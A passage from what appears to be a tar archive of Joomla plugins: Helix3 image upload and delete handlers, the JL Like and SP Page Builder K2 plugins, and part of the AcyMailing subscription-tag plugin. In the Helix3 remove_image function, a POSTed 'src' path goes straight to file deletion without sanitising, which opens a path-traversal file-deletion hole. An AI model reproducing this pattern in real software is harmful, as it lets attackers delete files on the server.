            $report['status'] = false;
            $report['output'] = JText::_('This file is too large to upload.');
            $error = true;
          }

          // Upload if no error found
          if(!$error) {
            // Organised folder structure
            $date = JFactory::getDate();
            $folder = JHtml::_('date', $date, 'Y') . '/' . JHtml::_('date', $date, 'm') . '/' . JHtml::_('date', $date, 'd');

            if(!file_exists( JPATH_ROOT . '/images/' . $folder )) {
              JFolder::create(JPATH_ROOT . '/images/' . $folder, 0755);
            }

            $name = $image['name'];
            $path = $image['tmp_name'];

            // Do no override existing file
            $file = pathinfo($name);
            $i = 0;
            do {
              $base_name  = $file['filename'] . ($i ? "$i" : "");
              $ext        = $file['extension'];
              $image_name = $base_name . "." . $ext;
              $i++;
              $dest = JPATH_ROOT . '/images/' . $folder . '/' . $image_name;
              $src = 'images/' . $folder . '/'  . $image_name;
              $data_src = 'images/' . $folder . '/'  . $image_name;
            } while(file_exists($dest));
            // End Do not override

            if(JFile::upload($path, $dest)) {

              $sizes = array();

              if($tplParams->get('image_small', 0)) {
                $sizes['small'] = explode('x', strtolower($tplParams->get('image_small_size', '100X100')));
              }

              if($tplParams->get('image_thumbnail', 1)) {
                $sizes['thumbnail'] = explode('x', strtolower($tplParams->get('image_thumbnail_size', '200X200')));
              }

              if($tplParams->get('image_medium', 0)) {
                $sizes['medium'] = explode('x', strtolower($tplParams->get('image_medium_size', '300X300')));
              }

              if($tplParams->get('image_large', 0)) {
                $sizes['large']  = explode('x', strtolower($tplParams->get('image_large_size', '600X600')));
              }

              $sources = Helix3Image::createThumbs($dest, $sizes, $folder, $base_name, $ext);

              if(file_exists(JPATH_ROOT . '/images/' . $folder . '/' . $base_name . '_thumbnail.' . $ext)) {
                $src = 'images/' . $folder . '/'  . $base_name . '_thumbnail.' . $ext;
              }

              $report['status'] = true;

              if($imageonly) {
                $report['output'] = '<img src="'. JURI::root(true) . '/' . $src . '" data-src="'. $data_src .'" alt="">';
              } else {
                $report['output'] = '<li data-src="'. $data_src .'"><a href="#" class="btn btn-mini btn-danger btn-remove-image">Delete</a><img src="'. JURI::root(true) . '/' . $src . '" alt=""></li>';
              }
            }
          }
        }
      } else {
        $report['status'] = false;
        $report['output'] = JText::_('Upload Failed!');
      }

      echo json_encode($report);

      die;
    }

    // Delete File
    private function remove_image() {
      $report = array();

      if (!JFactory::getUser()->authorise('core.delete', 'com_media'))
      {
        $report['status'] = false;
        $report['output'] = JText::_('You are not authorised to delete file.');
        echo json_encode($report);
        die;
      }

      $input = JFactory::getApplication()->input;
      $src = $input->post->get('src', '', 'STRING');

      $path = JPATH_ROOT . '/' . $src;

      if(file_exists($path)) {

        if(JFile::delete($path)) {

          $basename = basename($src);
          $small = JPATH_ROOT . '/' . dirname($src) . '/' . JFile::stripExt($basename) . '_small.' . JFile::getExt($basename);
          $thumbnail = JPATH_ROOT . '/' . dirname($src) . '/' . JFile::stripExt($basename) . '_thumbnail.' . JFile::getExt($basename);
          $medium = JPATH_ROOT . '/' . dirname($src) . '/' . JFile::stripExt($basename) . '_medium.' . JFile::getExt($basename);
          $large = JPATH_ROOT . '/' . dirname($src) . '/' . JFile::stripExt($basename) . '_large.' . JFile::getExt($basename);

          if(file_exists($small)) {
            JFile::delete($small);
          }

          if(file_exists($thumbnail)) {
            JFile::delete($thumbnail);
          }

          if(file_exists($medium)) {
            JFile::delete($medium);
          }

          if(file_exists($large)) {
            JFile::delete($large);
          }

          $report['status'] = true;
        } else {
          $report['status'] = false;
          $report['output'] = JText::_('Delete failed');
        }
      } else {
        $report['status'] = true;
      }

      echo json_encode($report);

      die;
    }

  }
                                                                                                                                                                                                                                                                                                                                                                                                                  ajax/helix3/helix3.xml                                                                              0000705                 00000001565 15242051520 0010602 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.4" type="plugin" group="ajax" method="upgrade">
	<name>Helix3 - Ajax</name>
	<author>JoomShaper.com</author>
    <creationDate>Jan 2015</creationDate>
    <copyright>Copyright (C) 2010 - 2017 JoomShaper. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later</license>
    <authorEmail>support@joomshaper.com</authorEmail>
    <authorUrl>www.joomshaper.com</authorUrl>
    <version>2.5.6</version>
    <description>Helix3 Framework - Joomla Template Framework by JoomShaper</description>

    <updateservers>
        <server type="extension" priority="1" name="Helix3 - Ajax">http://www.joomshaper.com/updates/plg-ajax-helix3.xml</server>
    </updateservers>

	<files>
        <filename plugin="helix3">helix3.php</filename>
		<folder>classes/</folder>
	</files>
</extension>
                                                                                                                                           k2/jllike/jllike.xml                                                                                0000705                 00000001676 15242051520 0010332 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.5.0" type="plugin" group="k2" method="upgrade">
	<name>JL Like K2 Plugin</name>
	<author>JoomLine</author>
	<creationDate>11.02.2020</creationDate>
	<copyright>(C) 2012-2019 by Artem Zhukov, Arkadiy Sedelnikov and Vadim Kunicin(http://www.joomline.ru)</copyright>
	<authorEmail>sale@joomline.ru</authorEmail>
	<authorUrl>https://joomline.ru</authorUrl>
	<version>4.0.4</version>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>An Joomline Like K2 plugin to extend item form in K2.</description>
	<files>
		<filename plugin="jllike">jllike.php</filename>
	</files>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="parent_contayner"
					type="text"
					default=""
					label="Parent Contayner"
					description="Parent Contayner css class"
					/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                  k2/jllike/jllike.php                                                                                0000705                 00000014364 15242051520 0010317 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * jllike
 *
 * @version 4.0.0
 * @author Vadim Kunicin (vadim@joomline.ru), Arkadiy (a.sedelnikov@gmail.com)
 * @copyright (C) 2010-2019 by Vadim Kunicin (http://www.joomline.ru)
 * @license GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 **/

// no direct access
defined('_JEXEC') or die;

/**
 * Example K2 Plugin to render YouTube URLs entered in backend K2 forms to video players in the frontend.
 */

// Load the K2 Plugin API
JLoader::register('K2Plugin', JPATH_ADMINISTRATOR . '/components/com_k2/lib/k2plugin.php');
use Joomla\String\StringHelper;

// Initiate class to hold plugin events
class plgK2Jllike extends K2Plugin
{

    // Some params
    var $pluginName = 'line';
    var $pluginNameHumanReadable = 'Line-Chart';
    private $enableShow;

    function __construct(&$subject, $params)
    {
        if(!$this->enableShow())
		{
            $this->enableShow = false;
			return;
		}
        parent::__construct($subject, $params);
		$parent_contayner = $this->params->get('parent_contayner', '');
        $plugin = JPluginHelper::getPlugin('content', 'jllike');
        $this->params = new JRegistry($plugin->params);
		if(!empty($parent_contayner))
        {
            $this->params->set('parent_contayner', $parent_contayner);
        }
        $this->loadLanguage('plg_content_jllike');
        $this->enableShow = true;
    }

    function onK2BeforeDisplay(&$item, &$params, $limitstart){
        if($this->check('onK2BeforeDisplay')){
            return $this->loadLikes($item, $params, $limitstart);
        }
    }

    function onK2AfterDisplayTitle(&$item, &$params, $limitstart){
        if($this->check('onK2AfterDisplayTitle')){
            return $this->loadLikes($item, $params, $limitstart);
        }
    }

    function onK2BeforeDisplayContent(&$item, &$params, $limitstart){
        if($this->check('onK2BeforeDisplayContent')){
            return $this->loadLikes($item, $params, $limitstart);
        }
    }

    function onK2AfterDisplayContent(&$item, &$params, $limitstart){
        if($this->check('onK2AfterDisplayContent')){
            return $this->loadLikes($item, $params, $limitstart);
        }
    }

    function onK2AfterDisplay(&$item, &$params, $limitstart){
        if($this->check('onK2AfterDisplay')){
            return $this->loadLikes($item, $params, $limitstart);
        }
    }


    private function enableShow()
	{
		$app = JFactory::getApplication();
		$input = $app->input;
        $view = $input->getString('view','');
        $layout = $input->getString('layout','');
        $task = $input->getString('task','');

        if(!$app->isClient('administrator') && ($view == 'itemlist' || ($view == 'item' && ($layout == 'item' || !$layout))) && $task != 'edit' && $task != 'add')
		{
            return true;
        }
        else
		{
            return false;
        }
    }

    private function check($trigger)
	{
        if($this->enableShow && $trigger == $this->params->get('k2trigger', ''))
		{
            return true;
        }
        return false;
    }

    private function loadLikes(&$article, &$params, $limitstart)
    {

        $k2categories = $this->params->get('k2categories', array());
        $k2categories = (is_array($k2categories)) ? $k2categories : array();
        $input = JFactory::getApplication()->input;
        $print = $input->getInt('print', 0);

        if(in_array($article->catid, $k2categories) || $print)
        {
            return '';
        }

        include_once JPATH_ROOT.'/plugins/content/jllike/helper.php';

        $url = $this->getUrl();
        $isCategory = ($input->getString('view', '') == 'itemlist') ? true : false;

        $helper = PlgJLLikeHelper::getInstance($this->params);
        $conf = JFactory::getConfig();
        $enableSef = $conf->get('sef', 0);

        if($enableSef)
        {
            $link = $url.JRoute::_(K2HelperRoute::getItemRoute($article->id.':'.$article->alias, $article->catid.':'.urlencode($article->category->alias)));
        }
        else
        {
            $link = $url.'/'.K2HelperRoute::getItemRoute($article->id.':'.$article->alias, $article->catid.':'.urlencode($article->category->alias));
        }

        if($this->params->get('k2_images', 'fields') == 'fields' && !empty($article->imageLarge))
        {
            $image = trim($article->imageLarge);
            if(!empty($image))
            {
                if(StringHelper::strpos($image, '/') === 0)
                {
                    $image = StringHelper::substr($image, 1);
                }
                $image = JURI::root().$image;
            }
        }
        else
        {
            $image = PlgJLLikeHelper::extractImageFromText($article->introtext, $article->fulltext);
        }

        $text = $helper->getShareText($article->metadesc, $article->introtext, $article->fulltext);
        $enableOG = $isCategory ? 0 : $this->params->get('k2_add_opengraph', 0);
        $shares = $helper->ShowIN($article->id, $link, $article->title, $image, $text, $enableOG);

        if (!$isCategory)
        {
            $helper->loadScriptAndStyle(0);
            return $shares;
        }
        else if($this->params->get('allow_in_category', 0))
        {
            $helper->loadScriptAndStyle(1);
            return $shares;
        }
    }

    private function getUrl()
    {
		$root = JURI::getInstance()->toString(array('host'));
		$prefix = (JFactory::getConfig()->get('force_ssl') == 2) ? 'https://' : 'http://';
        $url = $prefix . $this->params->get('pathbase', '') . str_replace('www.', '', $root);

        if($this->params->get('punycode_convert',0))
        {
            $file = JPATH_ROOT.'/libraries/idna_convert/idna_convert.class.php';
            if(!JFile::exists($file))
            {
                return JText::_('PLG_JLLIKEPRO_PUNYCODDE_CONVERTOR_NOT_INSTALLED');
            }

            include_once $file;

            if($url)
            {
                if (class_exists('idna_convert'))
                {
                    $idn = new idna_convert;
                    $url = $idn->encode($url);
                }
            }
        }
        return $url;
    }
}
                                                                                                                                                                                                                                                                            k2/sppagebuilder/sppagebuilder.php                                                                  0000705                 00000005650 15242051520 0013245 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package SP Page Builder
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2016 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
//no direct accees
defined ('_JEXEC') or die ('restricted aceess');

$k2_plg_path = JPATH_ADMINISTRATOR.'/components/com_k2/lib/k2plugin.php';
if (!file_exists($k2_plg_path)) {
 return;
}

$sppb_helper_path = JPATH_ADMINISTRATOR . '/components/com_sppagebuilder/helpers/sppagebuilder.php';
if (!file_exists($sppb_helper_path)) {
 return;
}

JLoader::register('K2Plugin', $k2_plg_path);
if(!class_exists('SppagebuilderHelper')) {
	require_once $sppb_helper_path;
}

// Initiate class to hold plugin events
class plgK2Sppagebuilder extends K2Plugin
{
	// Some params
	var $pluginName = 'sppagebuilder';
	var $pluginNameHumanReadable = 'K2 - SP Page Builder';

	function __construct(&$subject, $params) {
		parent::__construct($subject, $params);
	}

	public static function __context() {
		$context = array(
			'option'=>'com_k2',
			'view'=>'item',
			'id_alias'=>'cid'
		);
		return $context;
	}

	function onAfterK2Save($row, $isNew) {

    $isSppagebuilderEnabled = $this->isSppagebuilderEnabled();
    if ( !$isSppagebuilderEnabled ) return;

		$input = JFactory::getApplication()->input;
		$option = $input->get('option', '', 'STRING');
		$view = $input->get('view', '', 'STRING');
		$form = $input->post->get('jform', array(), 'ARRAY');

		$sppagebuilder_active = (isset($form['attribs']['sppagebuilder_active']) && $form['attribs']['sppagebuilder_active']) ? $form['attribs']['sppagebuilder_active'] : 0;
		$sppagebuilder_content = (isset($form['attribs']['sppagebuilder_content']) && $form['attribs']['sppagebuilder_content']) ? $form['attribs']['sppagebuilder_content'] : '[]';

		$values = array(
			'title' => $row->title,
			'text' => $sppagebuilder_content,
			'option' => $option,
			'view' => $view,
			'id' => $row->id,
			'active' => $sppagebuilder_active,
			'created_on' => $row->created,
			'created_by' => $row->created_by,
			'modified' => $row->modified,
			'modified_by' => $row->modified_by,
			'language' => '*'
		);

		SppagebuilderHelper::onAfterIntegrationSave($values);

	}

	function onK2PrepareContent(&$item, &$params, $limitstart) {
		$input = JFactory::getApplication()->input;
		$option = $input->get('option', '', 'STRING');
		$view = $input->get('view', '', 'STRING');

    $isSppagebuilderEnabled = $this->isSppagebuilderEnabled();

    if ( $isSppagebuilderEnabled ) {
      if (SppagebuilderHelper::onIntegrationPrepareContent($item->text, $option, $view, $item->id)) {
  			$item->text = SppagebuilderHelper::onIntegrationPrepareContent($item->text, $option, $view, $item->id);
  		}
    }
	}

  private function isSppagebuilderEnabled(){
    $db = JFactory::getDbo();
    $db->setQuery("SELECT enabled FROM #__extensions WHERE element = 'com_sppagebuilder' AND type = 'component'");
    return $is_enabled = $db->loadResult();
  }

}
                                                                                        k2/sppagebuilder/sppagebuilder.xml                                                                  0000705                 00000001343 15242051520 0013251 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="k2" method="upgrade">
	<name>K2 - SP Page Builder</name>
	<author>Joomla! Project</author>
	<author>JoomShaper.com</author>
    <creationDate>Sep 2016</creationDate>
    <copyright>Copyright (C) 2010 - 2016 JoomShaper. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later</license>
    <authorEmail>support@joomshaper.com</authorEmail>
    <authorUrl>www.joomshaper.com</authorUrl>
    <version>1.2</version>
    <description>SP Page Builder System plugin to add support for 3rd party components</description>
	<files>
		<filename plugin="sppagebuilder">sppagebuilder.php</filename>
	</files>
</extension>                                                                                                                                                                                                                                                                                             acymailing/tagsubscription/index.html                                                               0000705                 00000000054 15242051520 0014067 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/tagsubscription/tagsubscription.xml                                                      0000705                 00000013743 15242051520 0016045 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : Manage the Subscription</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add link to manage the subscription of the user</description>
	<files>
		<filename plugin="tagsubscription">tagsubscription.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagsubscription"/>
		<param name="unsubscribetemplate" type="radio" default="0" label="Display the unsubscribe page" description="Select if you want to display the unsubscribe page (when the user clicks on the unsubscribe link) without any Joomla module (no template) or inside your default Joomla Template">
			<option value="0">Standard template</option>
			<option value="1">No template</option>
		</param>
		<param name="listunsubscribe" type="radio" default="0" label="Add list-unsubscribe header" description="If you insert an unsubscribe link, should Acy also insert the link in the list-unsubscribe field? See www.list-unsubscribe.com">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="listunsubscribeemail" type="text" size="20" default="" label="List-unsubscribe e-mail" description="The GMail feedback loops works with a list-unsubscribe e-mail address. By default Acy will add the reply-to e-mail address but you can specify another e-mail address there" />
		<param name="modifytemplate" type="radio" default="0" label="Display the modify your subscription" description="Select if you want to display the modify your subscription page (when the user clicks on the modify you subscription link) without any Joomla module (no template) or inside your default Joomla Template">
			<option value="0">Standard template</option>
			<option value="1">No template</option>
		</param>
		<param name="confirmtemplate" type="radio" default="0" label="Display the confirmation page" description="Select if you want to display the confirmation page (when the user clicks on the confirmation link) without any Joomla module (no template) or inside your default Joomla Template">
			<option value="0">Standard template</option>
			<option value="1">No template</option>
		</param>
		<param name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the subscription filter on the Newsletter creation interface">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagsubscription"/>
				<field name="unsubscribetemplate" type="radio" default="0" label="Display the unsubscribe page" description="Select if you want to display the unsubscribe page (when the user clicks on the unsubscribe link) without any Joomla module (no template) or inside your default Joomla Template">
					<option value="0">Standard template</option>
					<option value="1">No template</option>
				</field>
				<field name="listunsubscribe" type="radio" default="0" label="Add list-unsubscribe header" description="If you insert an unsubscribe link, should Acy also insert the link in the list-unsubscribe field? See www.list-unsubscribe.com">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="listunsubscribeemail" type="text" size="20" default="" label="List-unsubscribe e-mail" description="The GMail feedback loops works with a list-unsubscribe e-mail address. By default Acy will add the reply-to e-mail address but you can specify another e-mail address there" />
				<field name="modifytemplate" type="radio" default="0" label="Display the modify your subscription" description="Select if you want to display the modify your subscription page (when the user clicks on the modify you subscription link) without any Joomla module (no template) or inside your default Joomla Template">
					<option value="0">Standard template</option>
					<option value="1">No template</option>
				</field>
				<field name="confirmtemplate" type="radio" default="0" label="Display the confirmation page" description="Select if you want to display the confirmation page (when the user clicks on the confirmation link) without any Joomla module (no template) or inside your default Joomla Template">
					<option value="0">Standard template</option>
					<option value="1">No template</option>
				</field>
				<field name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the subscription filter on the Newsletter creation interface">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                             acymailing/tagsubscription/tagsubscription.php                                                      0000705                 00000107572 15242051520 0016040 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingTagsubscription extends JPlugin{
	var $listunsubscribe = false;
	var $lists = array();
	var $listsowner = array();
	var $listsinfo = array();
	var $campaigns = array();
	var $unsubscribeLink = false;
	var $unsubscribeItem = '';

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'tagsubscription');
			$this->params = new acyParameter($plugin->params);
		}
		$this->db = JFactory::getDBO();
		$this->acypluginsHelper = acymailing_get('helper.acyplugins');
	}

	function acymailing_getPluginType(){

		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('SUBSCRIPTION');
		$onePlugin->function = 'acymailingtagsubscription_show';
		$onePlugin->help = 'plugin-tagsubscription';

		return $onePlugin;
	}

	function acymailingtagsubscription_show(){

		$others = array();
		$others['unsubscribe'] = array('name' => acymailing_translation('UNSUBSCRIBE_LINK'), 'default' => acymailing_translation('UNSUBSCRIBE', true));
		$others['modify'] = array('name' => acymailing_translation('MODIFY_SUBSCRIPTION_LINK'), 'default' => acymailing_translation('MODIFY_SUBSCRIPTION', true));
		$others['confirm'] = array('name' => acymailing_translation('CONFIRM_SUBSCRIPTION_LINK'), 'default' => acymailing_translation('CONFIRM_SUBSCRIPTION', true));
		$others['subscribe'] = array('name' => acymailing_translation('SUBSCRIBE_LINK'), 'default' => acymailing_translation('SUBSCRIBE', true));

		?>
		<script language="javascript" type="text/javascript">
			<!--
			var openLists = true;
			var selectedTag = '';
			function changeTag(tagName){
				selectedTag = tagName;
				defaultText = [];
				<?php
				$k = 0;
				foreach($others as $tagname => $tag){
					echo "document.getElementById('tr_$tagname').className = 'row$k';";
					echo "defaultText['$tagname'] = '".$tag['default']."';";
					$k = 1 - $k;
				}
				?>
				document.getElementById('tr_' + tagName).className = 'selectedrow';
				document.adminForm.tagtext.value = defaultText[tagName];
				if(tagName == 'subscribe'){
					document.getElementById('iframelists').style.display = '';
					document.getElementById('subscriptionlists').style.display = '';
					if(openLists) displayLists();
				}else{
					document.getElementById('iframelists').style.display = 'none';
					document.getElementById('subscriptionlists').style.display = 'none';
				}
				setSubscriptionTag();
			}

			function setSubscriptionTag(){
				var tag = '{' + selectedTag;

				if(document.getElementById('tagmenu').value != 0) tag += "|itemid:" + document.getElementById('tagmenu').value;
				if(selectedTag == 'subscribe') tag += "|lists:" + document.getElementById('paramslistids').value;

				tag += '}' + document.adminForm.tagtext.value + '{/' + selectedTag + '}'
				setTag(tag);
			}

			function displayLists(){
				var box = document.getElementById('iframelists');
				if(openLists){
					box.style.display = 'block';
					box.className += ' slide_open';
				}else{
					box.className = box.className.replace('slide_open', 'slide_close');
				}

				if(!openLists) setSubscriptionTag();
				openLists = !openLists;
			}
			//-->
		</script>
		<?php

		acymailing_addScript(true, "document.addEventListener(\"DOMContentLoaded\", function(){ changeTag('unsubscribe'); });");

		$text = '<div id="iframelists" style="display:none;"><iframe src="index.php?option=com_acymailing&tmpl=component&ctrl='.(acymailing_isAdmin() ? '' : 'front').'chooselist&popup=0&task=listids&all=0" width="98%" height="100%" scrolling="auto"></iframe></div>
				<div class="onelineblockoptions">
					<span class="acyblocktitle">'.acymailing_translation('SUBSCRIPTION').'</span>
					<table class="acymailing_table" cellpadding="1">';
		$this->db->setQuery('SELECT 0 AS id, "- - -" AS title UNION SELECT id, title FROM #__menu WHERE link LIKE "%com_acymailing%" AND client_id = 0 AND published = 1');
		$menus = $this->db->loadObjectList();
		$text .= '<tr>
					<td><label for="tagtext">'.acymailing_translation('FIELD_TEXT').': </label><input type="text" name="tagtext" id="tagtext" onchange="setSubscriptionTag();"></td>
					<td><label for="tagmenu">'.acymailing_translation('ACY_MENU').': </label>'.acymailing_select($menus, "tagmenu", 'class="inputbox" size="1" onchange="setSubscriptionTag();"', 'id', 'title', '').'</td>
				</tr>
				<tr id="subscriptionlists">
					<td colspan="2">
						<button class="acymailing_button_grey" onclick="displayLists();return false;">'.acymailing_translation('LISTS').'</button>
						<input class="inputbox" id="paramslistids" name="listids" type="text" style="width:100px" value="">
					</td>
				</tr>';
		$text .= '</table>
					<table class="acymailing_table" cellpadding="1">';

		$k = 0;
		foreach($others as $tagname => $tag){
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="changeTag(\''.$tagname.'\');" id="tr_'.$tagname.'" ><td class="acytdcheckbox"></td><td>'.$tag['name'].'</td></tr>';
			$k = 1 - $k;
		}
		$text .= '</table></div>';

		$others = array();
		$others['name'] = acymailing_translation('LIST_NAME');
		$others['names'] = acymailing_translation('ACY_LIST_NAMES');
		$others['description'] = acymailing_translation('ACY_DESCRIPTION');
		$others['count'] = trim(acymailing_translation('GEOLOC_NB_USERS', true), ':');
		$others['count|listid:0'] = trim(acymailing_translation('GEOLOC_NB_USERS', true), ':').' ('.acymailing_translation('ALL_LISTS').')';
		$others['id'] = acymailing_translation('ACY_ID', true);

		$text .= '<div class="onelineblockoptions">
					<span class="acyblocktitle">'.acymailing_translation('LIST').'</span>
					<table class="acymailing_table" cellpadding="1">';

		$k = 0;
		foreach($others as $tagname => $tag){
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\'{list:'.$tagname.'}\');insertTag();" id="tr_'.$tagname.'" ><td class="acytdcheckbox"></td><td>'.$tag.'</td></tr>';
			$k = 1 - $k;
		}

		$text .= '</table></div>';

		$text .= '<div class="onelineblockoptions">
					<span class="acyblocktitle">'.acymailing_translation('NEWSLETTER').'</span>
					<table class="acymailing_table" cellpadding="1">';
		$othersMail = array('mailid', 'subject', 'alias', 'key', 'altbody');
		$k = 0;
		foreach($othersMail as $tag){
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\'{mail:'.$tag.'}\');insertTag();" id="tr_'.$tag.'" ><td class="acytdcheckbox"></td><td>'.$tag.'</td></tr>';
			$k = 1 - $k;
		}
		$text .= '</table></div>';

		echo $text;
	}

	function onAcyDisplayActions(&$type){
		$type['list'] = acymailing_translation('ACYMAILING_LIST');
		$status = array();
		$status[] = acymailing_selectOption(1, acymailing_translation('SUBSCRIBE_TO'));
		$status[] = acymailing_selectOption(0, acymailing_translation('REMOVE_FROM'));
		$status[] = acymailing_selectOption(-1, acymailing_translation('ACY_UNSUB_FROM'));

		$lists = $this->_getLists();
		$otherlists = array();
		$onChange = '';
		if(acymailing_level(3)){
			$db = JFactory::getDBO();
			$db->setQuery('SELECT b.listid, b.name FROM #__acymailing_listcampaign as a JOIN #__acymailing_list as b on a.listid = b.listid GROUP BY b.listid ORDER BY b.ordering ASC');
			$otherlists = $db->loadObjectList('listid');
			$onChange = 'onchange="onAcyDisplayAction_list(__num__);"';

			$js = "function onAcyDisplayAction_list(num){
				if(!document.getElementById('campaigndelay'+num)) return;
				if(document.getElementById('subliststatus'+num).value == 1 && document.getElementById('sublistvalue'+num).value.indexOf('_campaign') > 0){
					document.getElementById('campaigndelay'+num).style.display = 'inline';
				}else{
					document.getElementById('campaigndelay'+num).style.display = 'none';
				}
			}";
			acymailing_addScript(true, $js);
		}

		$listsdrop = array();
		foreach($lists as $oneList){
			if(!empty($otherlists[$oneList->listid])) $listsdrop[] = acymailing_selectOption($oneList->listid.'_campaign', $otherlists[$oneList->listid]->name.' + '.acymailing_translation('CAMPAIGN'));
			$listsdrop[] = acymailing_selectOption($oneList->listid, $oneList->name);
		}

		$return = '<div id="action__num__list">'.acymailing_select($status, "action[__num__][list][status]", 'class="inputbox" size="1" '.$onChange, 'value', 'text', '', 'subliststatus__num__').' '.acymailing_select($listsdrop, "action[__num__][list][selectedlist]", 'class="inputbox" size="1" '.$onChange, 'value', 'text', '', 'sublistvalue__num__');
		if(!empty($otherlists)){
			$delay = array();
			$delay[] = acymailing_selectOption('day', acymailing_translation('DAYS'));
			$delay[] = acymailing_selectOption('week', acymailing_translation('WEEKS'));
			$delay[] = acymailing_selectOption('month', acymailing_translation('MONTHS'));

			$listHours = array();
			$listHours[] = acymailing_selectOption('', '- -');
			for($i = 0; $i < 24; $i++){
				$listHours[] = acymailing_selectOption(($i < 10 ? '0'.$i : $i), ($i < 10 ? '0'.$i : $i));
			}
			$hours = acymailing_select($listHours, 'action[__num__][list][sendhours]', 'class="inputbox" size="1" style="width:60px;"', 'value', 'text', '');

			$listMinutess = array();
			$listMinutess[] = acymailing_selectOption('', '- -');
			for($i = 0; $i < 60; $i += 5){
				$listMinutess[] = acymailing_selectOption(($i < 10 ? '0'.$i : $i), ($i < 10 ? '0'.$i : $i));
			}
			$minutes = acymailing_select($listMinutess, 'action[__num__][list][sendminutes]', 'class="inputbox" size="1" style="width:60px;"', 'value', 'text', '');

			$return .= '<br /><span id="campaigndelay__num__">'.acymailing_translation_sprintf('TRIGGER_CAMPAIGN', '<input type="text" name="action[__num__][list][delaynum]" value="0" style="width:50px" />', acymailing_select($delay, "action[__num__][list][delaytype]", 'class="inputbox" size="1" style="width:120px;"', 'value', 'text')).' @ '.$hours.' : '.$minutes;
			$return .= '<br />'.acymailing_translation_sprintf('ACY_CAMPAIGN_NB_FOLLOW_SKIPED', '<input type="text" name="action[__num__][list][skipedfollowups]" value="0" style="width:25px;" />').'</span>';
		}
		$return .= '</div>';

		return $return;
	}

	private function _getLists(){
		if(!empty($this->allLists)) return $this->allLists;
		$list = acymailing_get('class.list');
		if(acymailing_isAdmin()){
			$this->allLists = $list->getLists();
		}else{
			$this->allLists = $list->getFrontendLists();
		}

		return $this->allLists;
	}

	private function _getCampaigns(){

		$list = acymailing_get('class.list');
		if(acymailing_isAdmin()){
			return $list->getAllCampaigns();
		}
		return $list->getFrontendCampaigns();
	}

	function onAcyDisplayFilters(&$type, $context = "massactions"){

		if($this->params->get('displayfilter_'.$context, true) == false) return;

		$type['list'] = acymailing_translation('ACYMAILING_LIST');
		$status = acymailing_get('type.statusfilterlist');
		$status->extra = 'onchange="countresults(__num__);"';

		$lists = $this->_getLists();
		$campaigns = $this->_getCampaigns();
		$listsdrop = array();

		$listsdrop[] = acymailing_selectOption('<OPTGROUP>', acymailing_translation('LISTS'));
		foreach($lists as $oneList){
			$listsdrop[] = acymailing_selectOption($oneList->listid, $oneList->name);
		}
		$listsdrop[] = acymailing_selectOption('</OPTGROUP>');

		if(count($campaigns) > 0){
